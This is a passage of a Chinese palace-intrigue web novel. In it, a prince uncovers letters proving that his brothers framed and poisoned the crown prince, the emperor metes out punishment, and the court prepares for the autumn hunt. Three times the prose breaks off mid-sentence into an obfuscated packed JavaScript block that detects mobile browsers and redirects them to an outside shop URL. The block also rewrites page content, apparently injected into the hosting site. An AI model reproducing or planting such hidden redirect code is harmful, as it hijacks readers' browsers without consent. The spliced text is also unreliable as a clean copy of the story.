温嘉诚深吸了一口气,压下心头的情绪,迈上熟悉的台阶,双手颤抖地撕开寝殿的封条。 厚重的木门吱呀一声开了。 温嘉诚数着地砖,在床榻前的第三块地砖上停下,蹲下敲了敲,有些空鼓,与旁边地砖发出的沉闷声响不同。 刘昶取出配剑,撬开地砖,看到了地砖下面埋藏地一个上了锁的匣子。 温嘉诚弯腰取出密匣,拂了拂吹了吹密匣上面的灰尘,转身递给刘昶。 刘昶郑重接过,出神地注视着密匣。 这里面放着的是让太子陷入巫蛊祸端的导火索,也是能让太子翻身的证据。 想必当日那黑衣人直奔太子寝殿,为的就是这密匣吧。 那包裹是从黑衣人身上掉下来的,估计是那黑衣人是要将这密匣替换成巫蛊人偶,从而来来栽赃太子的。 若自己那日没追得那么紧,那包裹想必也不会从黑衣人身上掉落吧。 那太子也不会毫无招架之力吧,或许太子还有转圜的余地。 温嘉诚见刘昶久久不出声,小声提醒:“七殿下?” 刘昶拉回思绪,抽了抽鼻子,回过神来。 忽又想起他们来之前,大姐姐刘安交代的要取些太子常用的物件带给父皇,又念及嫂嫂温嘉诚与太子兄长之间的情分,故道:“嫂嫂,你暂且待在寝殿,收拾些兄长的衣冠吧。我去兄长的书房,取些兄长的笔墨,一并带给父皇与皇后娘娘,以解他们思念之苦。” 温嘉诚点点头,良久,语气略带着哽咽道:“好。” 刘昶轻车熟路地来到太子的书房,书房先前被父皇派人搜查过,有些凌乱。 想必明面上的书信已没什么价值,或许太子还在暗处藏了证据。 刘昶一边敲敲打打,一边仔细听着所敲之处与周围的不同音色,期望能找到太子藏的密匣。 可惜,并没有。 刘昶不死心,又继续找着,这次他翻找得更仔细了。 挂着地图的墙上,一寸一寸地听着,桌椅下面的地砖,一块一块地敲着。 终于,找到了一丝异样。 刘昶费力撬开地砖,找到了埋藏在下面的一沓书信。 最上面的那一信封上的笔迹,是四哥刘茂的。 刘昶不信邪地拆开一封,又不信邪地拆开另一封。 一封封的书信,都是四哥刘茂在与二哥刘仲互通来往。 刘昶似哭似笑,不敢相信自己眼睛看到的内容,复看了一遍,身体颤抖不止。 原来,早在四哥尚未回京之前,便与二哥在互通有无了。 原来,早在胡人的军队压进边线之前,他们二人便在来往书信了。 原来,胡人压境,蔡桐被俘,四哥回京,甚至他凯旋大捷的军功,都是他们设计好的。 哈哈哈哈哈哈哈哈,可笑,简直可笑。 “谁?”刘昶突然听到门外传来一串脚步,忙胡乱擦掉脸上的眼泪,将书信放回,地砖复原,站起身来,换了一副警惕的神情。 “是我。”书房的门打开一条缝,温嘉诚挤了进来。 温嘉诚问:“七殿下,可都收拾妥当了?我们快些回宫去吧。” 刘昶从书桌上胡乱拿了些书本纸张,闷闷道:“好。” “此处封禁,禁止闯入。是谁胆敢擅闯封禁之地?” 门外传来的侍卫声音让刘昶与温嘉诚愣在原地,面面相觑。 侍卫们不是已经看过金印了吗?怎么会这么问呢? 刘昶听到外面刀剑慢慢出鞘的声音,身体顿时紧绷起来,将温嘉诚护在身后,手握在佩剑上,随时做好准备。 “怎么了?” 刘安的声音从屋外传了过来,二人如释重负地松了口气。 侍卫有些诧异,低头恭敬问道:“长公主殿下怎么在此?” 刘安左手举着明黄的圣旨,回道:“本宫奉父皇的旨意,前来东宫取些太子的遗物,聊以慰藉。” 说罢,又回头对莲亭道:“莲亭,莲房进去这么久了,怎么还不见出来?你去看看。” “是。”莲亭领命,推开门,瞟了眼身旁的侍卫,对着门内喊道:“莲房姐姐,是否是书籍太重,需要我帮忙呢?” “是呢。妹妹快进来搭把手吧。”温嘉诚回道。 “殿下,奴进去帮莲房姐姐。”莲亭回头道,得到刘安允许后,抬脚进屋。 不多时,莲亭带着七皇子刘昶、围着面纱的温嘉诚走出了书房。 侍卫看到有人戴着面纱,虽心中有疑虑,可永安长公主在一旁,只好作罢。 刘安道:“封上吧。” 侍卫本还想着待旁人离去后,他再进屋翻找片刻,见刘安这么吩咐,也便消了这个念头,重新取了封条。 刘安提笔写下日期——承道二十二年八月廿五,亲眼看着侍卫将封条封上之后,方才带着众人离去。 回宫后,刘安问道:”证据呢?能为太子洗刷冤屈的证据呢?“ 温嘉诚将带锁的密匣呈上。 刘安本想将匣子劈开,但又担心父皇会有疑心,便将密匣原原本本地呈于承道帝面前。 “父皇,这是太子生前留下的一个密匣,请父皇亲启。” 承道帝看着面前的密匣,久久未置一词,手串的珠子飞快地捻动着。 “父皇——”刘安轻声呼唤一声。 承道帝回过神,起身取出挂着的宝剑,猛然一剑劈在匣子上。 匣子四分五裂,里面装着的信件散落一地。 刘安蹲下,将信件拾起,整理好放在承道帝手边。 承道帝一一打开,看过之后,怒不可遏,将手串重重地摔在地上,怒骂一声:“逆子!” 刘安被吓得忙跪下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274246|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 噤声。 “早知这个逆子有如此野心,当初便不应该留他!” “早就应该一剑赐死!” 承道帝双手撑着桌子,胸口急剧起伏。 刘安捡起散落的信件,依次看过后,不可置信地抬头望向承道帝:“父皇,二弟他……他竟然……” 二皇子刘仲他竟然勾结胡人,出卖军情;刘仲他竟然串联朝臣,栽赃陷害太子;他竟然在东宫安插眼线,监视太子的一举一动;竟然想对太子取而代之! “朕没有这样的儿子!” 吴善辅垂头弓腰,进殿匆匆来报:“陛下,六皇子觐见。” 六皇子刘赞伏在地上,高喊道:“父皇,儿臣不负期待,现已查明太子真正的死因。” 承道帝一挥手,刘赞大步上前,悲痛回道:“父皇,在大姐姐离开天牢的一刻钟之后,有一人伪装成送饭之人,将掺了毒药的饭菜强行喂与太子,太子……” “太子多有挣扎,并未服用太多,但那毒药毒性强,入腹便无生还的可能。” 刘赞有些哽咽,不忍再继续说下去:“太子腹痛难忍,是活活疼死过去的。” 刘赞说完,早已泣不成声。 承道帝与刘安也完全没想到,竟会是这样的结果。 “父皇——” 承道帝无力地闭上双眼,两行老泪夺眶而出,许久,问道:“那下毒之人可抓到了?” 刘赞含着眼泪,点点头。 “是谁指使的?” “刘仲。” “牧儿……”承道帝闻言,痛心地闭上眼睛,双唇颤抖,艰难开口,语无伦次道:“是个好孩子……从小用功……最是孝顺……” 他还记得,太子刚出生的时候,因是早产,小小的一个,自幼便体弱。对太子,那是含在嘴里怕化了,捧在手心怕摔了,就这么一点一点长大成人。 好容易能监国理政,能顶天立地扛起这江山社稷,却没想到被自己的手足兄弟害了。 早知今日当初他就不应该把这个逆子留下来。 这刘仲,是承道帝醉酒之后,被人陷害,与先帝启盛帝的贵妃身边的一个低贱的洗脚婢乱性所生之子。 承道帝一直视刘仲为奇耻大辱,登基前多次想暗中除掉刘仲,但刘仲每次都能侥幸逃脱。 更是在承道帝登基之后,刘茂刘宁两兄妹出生之后,在他大赦天下之后,刘仲被臣子们推出来,逼着承道帝认回血脉。 那时,承道帝刚登基不久,朝堂之上暗流涌动,没办法,不得已才被迫认下这个乱性之子。 承道帝并不喜欢这个儿子,平日的赏赐几近于无,甚至都不正眼看他,及冠之后的宅子都选在了最偏远最荒无人烟的京城南郊之外,就连及冠之后的爵位也没有给。 承道帝对太子愈是思念,便对刘仲愈是憎恨厌恶,恨恨道:“将这个逆子,杖毙!杖毙!杖毙!” “不,要扒皮抽筋,敲骨剥髓!” 不,不能杀刘仲,死,是最便宜的事,刘仲不能死。 承道帝强压下心头的怒火,转着手上的玉扳指,踱了几步,道:“便将刘仲幽禁于府邸,日日施以鞭刑,让他忏悔他的所作所为,偿还他的罪孽。” “查,凡是与刘仲结交来往的官员士绅,一经证实,抄家灭门,全族流放。” “太子属官,未能保护好太子,致使太子含冤受屈,杀。” 刘安满眼惊愕地抬头看向承道帝,出言劝阻道:“父皇三思,此番动作,只怕朝廷之上要人人自危了。” 承道帝抬手止住:“朕意已决。” 50. 巫蛊(二十)割袍断义 承道二十二年八月廿七,太子从属多被羁押入狱。 承道二十二年八月廿八,与二皇子刘仲交好的一众大臣相继被查处。 持续三日之久。 一时间,京中人心惶惶,人人自危。 “公孙丑问曰,高子曰,《小弁》,小人之诗也——”朗朗的读书声传来。 “七哥——”正在读书的八皇子刘绥,看到七哥刘昶,高兴地迎了上去。 刘昶见刘绥手中拿着书在背诵,问道:“读什么呢?可是大哥哥又考你功课了?” 刘绥低头看了眼手上的书籍,愁眉苦脸点点头,道:“《孟子·告子》。七哥,这篇我有些难懂,你当时是怎么学习的呀?” 刘昶抿嘴一笑,捏了捏刘绥的小脸,和善笑道:“我呀,当时是薛先生教的我,可不似大哥哥这般严厉。” “啊——”刘绥撒娇地哼了一声,“七哥,你给我讲讲这几句是什么意思吧。” 刘绥缠着刘昶,道:“越人关弓而射之,则己谈笑而道之。” 刘昶挠着脑袋,疑惑道:“即便是关系不好,那被人用弓箭射到,我也不会谈笑间就放过他啊。” “还有这下半句,其兄关弓而射之,则己垂涕泣而道之,为什么呀?” “无他,戚之也。”刘昶轻笑一声,翻起书给八弟刘绥看,下一句便是答案啊。 突然,也明白了太子为什么会藏下刘仲与刘茂勾结的信件,明白了太子为什么会隐忍不发,对此事只字不提。 无他,戚之也。没别的原因,就因为他们是手足至亲,是血脉相连的亲兄弟啊! 刘仲与刘茂二人,怎么可以布下这么大的一个局去陷害太子呢? 刘昶吸了吸鼻子,故作轻松地抬手敲了下刘绥的脑壳,道:“你慢慢看吧,记得看得仔细些,我去找大哥哥说些事。” 说罢大步进殿。 “七哥——”刘绥小跑拦住刘昶,挡在刘昶身前,喘气道:“七哥,你等会儿再进去吧,四哥在里面呢,我刚刚听到他们两个在吵架。” “哦?”刘昶停下脚步,疑惑地看向八弟刘绥。 怎么今日四哥他也在?他来找大哥哥做什么? 刘昶摸了摸藏在胸前的信件,思索着要不要进入内殿,此时,内殿正巧传来英王刘元与秦王刘茂争吵的声音。 只听到刘元带着怒气质问:“杀了他,支持你吗?” 秦王刘茂云淡风轻道:“兄长,我是天命所归。” 刘元轻笑一声,不屑道:“天命?” 刘元继续说道:“齐国公的话就是天命了?” 刘元瞥了眼刘茂,不予理睬,提高音量继续说道:“当初他可是集齐了许多道人算好的日子,那一日——” “啧啧啧,算得真是分毫不差,那可真是好大一片的火烧云啊!” 刘茂嗤笑一声,道:“大哥哥,你这是说的什么话?” 刘昶在外面听得一知半解,胡乱问旁边的刘绥:“怎么回事?什么火烧云?怎么扯到这上面了?” 刘绥故作为难,咬着嘴唇,道:“大哥哥截获了一封书信。” 说罢,刘绥左右环顾一番,踮起脚尖,凑近刘昶,以极低地声音说道:“我趁大哥哥不注意,偷偷看过,是四哥与胡人来往的书信。” 刘昶闻言,怒火中烧,四哥就这般急不可耐吗?他此时与胡人联系,就这么急不可耐地想当上太子吗? 内殿的门猛然打开,秦王刘茂和英王刘元谈崩,刘茂黑着脸从里面走了出来。 刘绥往后撤了一步,半个身子藏在刘昶身后,怯生生地行礼道:“四哥好。” 刘茂看到二人,眯着眼睛,一步一步靠近,问道:“什么时候来的?” 怀疑的种子早已生根发芽,刘昶没有退让,抬眸怒视着刘茂,想看透刘茂的心思。 刘绥察觉到二人之间的暗中较劲,怯生生回道:“才刚来的,大哥哥说要巳时二刻要考问我的功课,我便和七哥一起来了。” 刘茂随意翻了翻刘绥手的书,嘴角扯出一抹笑,问道:“看到哪儿了?可能背下来吗?” 刘绥正欲回答,刘昶便一把从刘茂手中夺回书,狠狠剜了刘茂一眼,阴阳怪气道:“秦王博学,八弟身弱,启蒙晚,比不过秦王,就不劳烦秦王费心了。” 刘茂听见刘昶言语这么呲儿自己,笑着打圆场:“七弟怎么这么称呼我,实在是见外了。” 刘昶不理睬刘茂,目不斜视,拽着刘绥进了内殿。 刘茂讨了个没趣,嗤了一声,甩袖离开了。 刘昶心中藏着事儿,在英王刘元的东华宫待了不多会,便拜别了刘元,出宫朝着秦王府去了。 秦王府内,秦王妃还朝,五皇女宁乐公主刘宁,还有先前畅音坊琵琶一绝的沈韵姑娘,三人在一处说话聊天,为还朝腹中的孩子做些肚兜、衣服。 “哎呀,先前只以为你琵琶弹得一绝,今日看来,你这刺绣女工也是一绝啊。”还朝摸着沈韵绣出来的小兔子,栩栩如生,不由得赞叹道。 “我看看。”刘宁凑上前去,吵着要看一眼。 “真的,活灵活现的,看着比宫里的绣娘绣得还要灵动些呢。”刘宁看着绣得毛茸茸的白兔,满眼欣赏,爱不释手地抚摸着,“赶明个,给我也绣一个不晓得你可还有时间?” 沈韵被夸得略显羞涩,谦虚地垂下头,点点头道:“太子新丧,国哀期间,全国禁止歌舞演乐,如今自然是有时间的,公主想要绣些什么,只管告诉我就是了。” 太子新丧,倒是勾起刘宁与还朝的伤心。 谁能想到,前些天中秋宫宴上还和她们说笑玩乐,还说要等宴会过后筹办个骑射比赛的太子,竟然被人在天牢之中暗害了。 沈韵见二人神情不似方才愉悦,平添了许多愁色,自知说了错话,正想着如何找补,忽而见秦王妃身边的近侍萨仁娜从外面匆匆进来。 近侍萨仁娜附在还朝耳边低语几句,还朝脸色更难看了 刘宁察觉出异样,忙问道:“嫂嫂,怎么回事?” 还朝看了眼沈韵,有所顾忌,犹豫地咬了咬嘴唇。 沈韵连忙起身,拜别二人。 “那尔丹,你去送送沈姑娘。”还朝唤来身边另一个小丫鬟。 小丫鬟得令,带着沈韵出去了。 待沈韵走后,还朝起身道:“我听说夫君与七殿下吵了起来,许是因为近期发生的这些,我得过去劝劝他们,到底是一家子骨肉至亲,别伤了彼此之间的和气。” 刘宁担忧还朝有孕,身子重,怕她忧心,忙起身劝道:“嫂嫂,你如今还大着肚子,需得小心为上,你别过去了。” 刘宁扶着还朝,笑道:“七弟那个牛脾气,时间一过,气儿自然就消了。” 还朝摸了摸隆起地肚子,欣慰笑道:“阿宁不必担心,宝宝在我肚子里乖得很呢。” “嫂嫂!”刘宁拦住还朝,耐心劝道:“不急于这一时,等待会他们吵过了,气儿消了,我们再过去看看是怎么回事。” “他们吵起架,生起气来没轻没重的,可别再误伤着你。我们且先等着,待他们气儿消了,自然会有人来通知我们的。” 刘宁扶着还朝又重新坐下,并安排人去前厅守着,一有消息即刻传信回来。 刘宁见还朝还是不放心,出主意道:“嫂嫂,不如这样,吩咐厨房做个简单的席面,不论是谁对谁错,待会饮尽杯中之酒,便可恩怨尽消,到底是兄弟,又不是死敌。” 还朝连连点头,赞同道:“阿宁说的是,那我这就去吩咐厨房做个席面,不管谁对谁错,哥哥总是要让着弟弟的。” 刘宁笑着嗔道:“嫂嫂,你且安心坐着吧。” 还朝虽在后宅,可心思早飞到前厅去了,她还是担心前厅的刘茂与刘昶两兄弟,一副心不在焉的样子,手上的针也差点扎到自己。 不多时,前厅有人小跑回来传话。 刘宁听到急促的脚步,提前走出去,压低声音询问怎么回事。 那小厮气喘吁吁回道:“不好了,七殿下和王爷都刀剑相向了!” “什么!”刘宁一惊,但顾及还朝,语气严厉地吩咐道:“这话别告诉秦王妃。该怎么回你知道。” “是。” 刘宁转身进屋,笑道:“嫂嫂不用担心,不是什么大事,左不过是两个人许久不见,一时说话呛着了。” 传话的小厮附和道:“是是,正如殿下所说的,分毫不差。” 刘宁言笑晏晏:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274247|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既如此,你先回前厅吧,传话给哥哥,千万要让哥哥将七弟留下来用饭。” 还朝见二人如是说,也是松了口气。 刘宁挂念着前厅的两人,毕竟刀剑无眼,便喊住小厮,顺着这个由头道:“算了,我怕你嘴笨说不清楚,我亲自去说。” “嫂嫂,我去去便回。”说罢,刘宁给了还朝的近侍萨仁娜一个眼神示意。 萨仁娜会意,微微点头。 刘宁不疾不徐地出了后宅,便一路小跑,还没到前厅,便听到前厅的二人正在剧烈争吵。 只听到刘昶崩溃喊道:“这些都是你做的?” “我们可是亲兄弟亲兄弟啊!” “我们都是父皇的血脉啊!何至于……何至于到了这个地步!” 刘昶剑横在刘茂的肩上,歇斯底里地喊出来:“太子也是你的兄长!他也曾教导过你!” 刘茂冷眼看向肩上的剑锋,离他的脖子只有四指的距离,提高音量,吼道:“他从未教导过我分毫!” 刘昶听后一怔,不可置信地看着刘茂,眼前的四哥,苦笑一声:“从前的事你还记得几分?” 幼时,他们几个还一起玩呢,一起调皮一起受罚一起背书,怎么,从前的情谊全都消散了吗? 提起从前,刘茂火气上来,反问道:“怎么,皇后企图造反,是因为我吗?二哥他设计巫蛊一案谋害太子,是我的缘故吗?他在太子的饭菜里面下毒,也是我的缘故吗!” 眼下的证据,确实不能证明与刘茂有关联。可刘仲与刘茂互相串通联系,若说这其中没有刘茂的手笔,谁会信呢? 即便是巫蛊一事确与刘茂无关,可与胡人勾结通敌叛国一事,可是证据确凿的。 刘昶冷笑一声,从怀中掏出书信,摔在刘茂脸上,道:“不论如何,你也不能做出这种通敌叛国的事!” 刘茂任由那封信件砸在脸上,脸上肌肉抽搐,冷哼一声,道:“通敌叛国?单凭这一封信?” 刘茂怒吼一声:“你知道什么啊!” “难道我就不能有恨吗?你知道我在大胡那几年过得是什么日子吗?我无时无刻都在想着回来!” 一想到在胡人那里过得受尽屈辱、生不如死的日子,刘茂的身体就忍不住地颤抖。当年若不是被还朝的父汗亲近大江,选了他做还朝的伴读,他刘茂能不能活着回来还两说呢。 “我当年只有八岁,便与父母分离,过上那生不如死的生活,你知道那是什么滋味吗?” 当年若不是老晋国公故意丢了北境边防,葬送了大江十万军队,胡人也不会那么顺利地南下围攻京城,他也就不会被送出当质子。 他恨,他又怎能不恨! 刘茂声音颤抖,眼角发红,恨恨地盯着刘昶:“你,有什么资格来评判我?” 刘宁在一旁听到哥哥内心承受的这么多,心疼不已,眼泪不受控地夺眶而出。 哥哥可从来没将这些事情告诉她与母妃。 刘昶呆愣在,愣愣地看着浑身颤抖的刘茂,一时也不知该说些什么。 他不敢想四哥在胡人那里过得到底是什么样的日子,不敢去想八岁的四哥当初是怎么挺过来的,不敢去想…… 四哥说得对,是非对错,他没有资格去审判。 刘昶颓然放下手中的剑,失魂落魄,转身就要离开秦王府。 “七弟——”,刘茂手搭在刘昶肩上,嘴唇抽搐几下,终究还是没说出来。 刘昶扯出一个比哭还难看的笑容,回头看向刘茂,僵持片刻,刘昶狠心甩开了刘茂搭在他肩上的手,拖着手中的长剑离开。 刘茂目送着他这个弟弟身影渐行渐远,最终嘴里挤出几个字来:“七弟,我保你,今后顺遂。” 刘昶听到刘茂的声音,停住脚步,闻言,苦哼一声,头也不回。 走了没几步,刘昶停下,抬头看到了长廊尽头站立良久的刘宁,俩人对立而望,均未开口。 刘昶眼皮不受控地抽了几下,看了眼不远处的五姐刘宁,侧头瞥了眼站在前厅的四哥刘茂,狠下心来,扬起衣袍,挥舞长剑,割断了纷飞的衣袍,决绝地走进长廊,目不斜视地从刘宁身旁走过。 刘茂和刘宁二人紧紧盯着衣袍飘落在地上,久久未言。 51. 秋猎祭祀(一)随行人员 转眼间就到了九月。 九月间还有两件大事。一是秋狝大礼,二是九九重阳的祭天祭祖大典。 九月初,栾南战事暂息,双方议和,增援队伍班师回朝。 为彰显大江朝之国威,因此,哪怕此时承道帝为了太子的事忧伤忧神,秋狝大典也不得不举行。 往年间九月的这两场大典都是承道帝亲自主持。去年,太子监国理政,因此,凡是此等需要承道帝亲自主持的大型典仪,便均由太子代帝主持。 因此去年的章程并不曾引起过什么争议,不过是按部就班罢了。 可今年的情况……却大不一样。 按照先例,凡是储君继承人,才有资格能主持祭天祭祖大典,当然,若是主持了大典,那也便是未来的储君了。 前朝为着这个典仪的主持人选,是闹得天翻地覆,吵得不可开交。 可是他们吵什么闹什么呢? 承道帝拢共就七个皇子,太子被陷害身亡,大皇子英王身弱,二皇子才刚被贬斥训责,八皇子年幼,六七两位皇子,一个爱财一个善武,心思又都不在这个上面。 未来储君人选,挑来挑去选来选去,不就只有四皇子秦王了吗? 再者,秦王刘茂,一出生便伴有漫天五彩祥云的异象,与宁乐公主刘宁又是龙凤胎,那可都是上上大吉的祥瑞之兆啊! 更何况秦王自幼便聪慧,三岁启蒙,六岁熟读典籍,八岁时便可把朝中名士怼得哑口无言。只是可惜,比太子晚了些时辰。 当年若不是皇后不慎摔落轿辇早产,那太子之位便是当今秦王的。 更何况早年间年承道帝便有更换储君的想法,若不是北境边防溃败,胡人兵临京城,只怕秦王早就是…… 如今太子薨逝,秦王的生母张贵妃,母家齐国公如日中天,母族汀州张氏也权势滔天。储君,都快刻上秦王的名字的了,还有什么可争的呢? 可有些人偏不这么认为。 太子薨逝,这其中就没有秦王的手笔?单凭个没有母家,没有外戚势力,没有谋士门客的二皇子,就能陷害得了太子吗? 明眼人都能看出来,定是秦王与二皇子互相勾结,如今事情败露,秦王推二皇子出来顶锅罢了。单看前几日查出来与二皇子互相勾结私相往来的朝臣们,哪个不是他齐国公的门下?若说秦王没参与,说出去都没人信啊。 为君者,不光要聪慧,还要贤良方正,人品贵重,才德兼备的才好。 如此一个德行有失之人,怎么能承担大任呢? 因此,大臣们争论不休,谁也不让谁。前几日因为三日的追责屠戮,大臣们消停了几天。 可眼下就要秋猎祭祀了,主持的人选还没定,别的人畏惧承道帝不敢发声,可他礼部不敢不发声啊。 “陛下,不知……是哪位皇子代陛下主持秋猎祭祀的典仪?”新任的礼部尚书周述头也不敢抬,战战兢兢地跪在地上,等着承道帝的回答。 只听到承道帝“啪”地一声放下笔,周述便抖如筛糠,头埋得更低了,恨不得能当场挖个洞躲进去避避,但还是不得不鼓起勇气,提高了音量又问一遍:“陛下,不知是要哪位皇子代——” “朕亲自主持典仪。” 承道帝岂会不知群臣们心中所想,但储君之人还有待商催,眼下虽有个中意人选,但根基不稳,不能昭告天下,免得再被人陷害,倒也不急于这一时。 “呃……啊……呃……好……臣领旨。”周述没想到承道帝会这么说,一时错愕。 “还有别的事吗?若无事便退下吧。”承道帝靠在椅子上,眼眸微眯,满眼的凉薄与威压。 周述快被御书房内的气场压得喘不过气了,忙不迭告退。 才出了宣政门,便看到户部尚书程显、户部左侍郎黄崇安、谏议大夫裴纶在等着他。 三人见周述出宫,忙走上前去询问。 裴纶打趣问道:“周老弟怎么满头大汗啊?” 周述擦了擦额头的冷汗,白了裴纶一眼:“你要是去问,只怕额头上的汗不比我少。” 程显打断两人,问出了他们心心念念的问题:“陛下怎么说?可是四……” 周述摇摇头:“陛下亲自主持大典。” 余下三人面面相觑,程显继续问道:“陛下可说要带哪些皇子随行?” 周述叹了口气,道:“我哪里还敢问?待秋猎祭祀时,便可知晓,不急于这一时。” 三人见周述这么说,也只好作罢。 自皇后疯癫后,六宫之事皆交由贵妃处置。如今又快要到秋猎祭祀的时候了,贵妃宫里自然是忙得不可开交。众嫔妃、皇子皇女们都聚在贵妃的云清宫。 “呵,人挺齐啊,省得朕再把你们一个个地召集起来了。”承道帝处理完政务便来了云清宫,周述的话倒是提醒了他,秋猎祭祀快到了,随行的人选还没定下来呢。 刘宁俏皮问道:“阿宁见父皇眉头紧锁,似有忧心之事,不知为了什么,父皇不妨说出来,如今人多,也好集思广益啊!” 贵妃嗔道:“阿宁!” 承道帝哈哈大笑,转头眼睛瞥到刘茂,见只有他一人,随口问道:“秦王妃呢?怎么不见她进宫来?” 刘茂起身道:“还朝现在已有九个多月的身孕了,即将临盆,不便走动,儿臣怕路上颠簸,便让她留在府里了,待平安生产后,再来进宫向父皇和各位娘娘请罪。” 承道帝道:“既然临产,那便好好休养,不必来回折腾。” 容嫔插嘴道:“哟,虽说九个月了,那也得小心小心再小心的伺候才是,身边离不了人的。” 贵妃关切回应道:“茂儿,你容娘娘说的是,服侍还朝的人可还尽心?若人手短缺了,尽管派人来宫里回一声。” “劳烦各位娘娘挂心。”刘茂一一谢过贵妃与容嫔的好意,回道:“父皇,正如容娘娘说的,还朝即将临盆,身边离不了人,儿臣特里请父皇示下,秋猎祭祀,儿臣便不参加了。” 殿内众人皆惊愕地看向刘茂,毕竟秋猎祭祀意义非凡。 承道帝脸上浮出一抹笑意,连连点头,和蔼道:“子嗣最重要。况且还朝公主远道而来,切不可怠慢了。” 七皇子刘昶本想避开刘茂与刘宁二人,就连今日来贵妃宫里都想避开,若不是母妃容嫔一直催促,他早去校兵场了。还便想着怎么找个合理的说辞推了秋猎祭祀。今见刘茂不准备去,暗暗松了口气。 承道帝话锋一转,问道:“茂儿倒是提醒朕了,秋猎祭祀当头,随行人员还未曾定下来,不知你们可还有不想去的?” 而后又补充道:“小六胆小,向来不喜狩猎一事,那便也留在宫里吧。” 刘赞起身:“儿臣谢父皇恩典。” “父皇,咳咳,儿臣——”刘元由近侍搀扶着站起身,本想推掉,在京中安心养病,岂料话还没说完,便被承道帝一口回绝。 承道帝安排道:“诶,你要去。九月份万安的气候很好,很适宜你养病, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274248|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你在万安多待些时日,把身体养好些才是。待到十月天冷了再回京也不迟。” 刘元不好再拒绝,只能同意:“是。” 贵妃道:“陛下,秦王妃临盆,臣妾心中实在挂念,再者还要管理六宫事宜,不便前去。” 贵妃看向容嫔,笑道:“容嫔妹妹心细,不知陛下可愿将她留下协理臣妾?” 承道帝点头应允。 近来八皇子刘绥受了些惊吓,时不时高热,因养在刘安的福康宫里,刘安也不便前去。 刘安才刚起身,承道帝便好奇问道:“怎么?你也要推脱?你是为着什么事?” 刘安回道:“父皇,近来八弟时常发热,儿臣还是留在宫中照顾八弟吧。” 八皇子刘绥的生母李美人,当即抓住机会,站了出来:“陛下,绥儿这孩子,自幼便身体不好,照顾起来也需得费些心思与精力。臣妾照顾他照顾惯了,并不觉得累,只怕长公主殿下不曾生育过,不能体会到为人母的劳累,臣妾只担心将长公主累坏了。” “臣妾恳请陛下,不如便让臣妾留在宫里照顾绥儿吧。” 与儿子分离之苦,李美人一刻也不想再体会了。况且她位份低,祭天祭祖的事儿从来也轮不到她来做,如今有机会能将刘绥夺回来,自然不愿放弃。 刘安不满地斜眼看了一眼李美人。 承道帝点点头:“那就按你说的来。把绥儿接到你宫里将养着吧。” 李美人喜不自胜:“谢陛下,谢陛下。” 后又在容嫔的暗中提醒下,对着刘安连连谢道:“多谢长公主这几个月对绥儿的照拂。” 刘安忙起身扶住李美人,笑道:“李娘娘这是哪里的话,真真要折煞我了,我身为长姐,自然是要多多照拂幼弟的。” 承道帝笑道:“安儿,既如此,便随朕一同前去吧,不可再推了。” 刘安应下:“是。” 承道帝无奈笑道:“算下来,满宫里也就安儿,小五、小七三人能陪朕一同狩猎了。” 刘宁起身活络气氛道:“父皇别担心,待到明年,还会有孙儿陪着您呢!到那时,您可别嫌烦啊!” 承道帝哈哈大笑:“哈哈哈哈,怎么会呢?朕高兴还来不及呢。” “待秦王妃生育后,一定要快马加鞭地派人告诉朕,朕也好将这件喜事说与天地,说与列祖列宗们。” “父皇——”刘昶纠结再三,还是决定避开刘宁,因而开口。 承道帝不解地看向刘昶,问道:“怎么?” 刘宁抢先回道:“父皇别理他,想必是怕秋猎时给我,不敢去了吧。” 刘宁对刘昶近来的举动很是不解,太子被害一事不是已经真相大白了吗?他怎么还是这副死样子?那日在秦王府,还做出割袍断义的举动来。 刘宁一直想找个机会好好问问刘昶,但刘昶一直躲着她,她一直没找到机会。 现如今秋猎,她定要拦住七弟好好问个清楚,他们之间一定有误会。 刘昶反驳道:“才不是!” 刘宁掩嘴一笑:“七弟还是不改往日的脾气秉性,还是一样的倔。” 众人闻言,哈哈大笑。 承道帝此时站出来,一锤定音:“昶儿不许推脱。去年你在边关,便缺了秋猎,今年你必须得去,朕还想看你今年能猎得多少猎物呢!朕可要好好看看你的本事有没有精进。” 刘昶无法,只得应下。 万事安排妥当,只待秋猎祭祀时了。 52. 秋猎祭祀(二)秋狝大典 高台之上,承道帝稳稳居于正中,目光所及之处,无不是旌旗飘扬。士兵列阵而待,手持的兵器,身披的甲胄,在阳光之下无不是闪着阵阵寒光。 战鼓齐鸣,士兵们跟随着鼓点,将手中的长枪重重地扥在地上,大声喊着:“杀!杀!杀!” 声毕,方才的肃杀之声还在万安山上回荡。飞禽受惊从林中飞出,走兽受吓在山林上逃窜,气吞山河之势,足够让山林动荡。 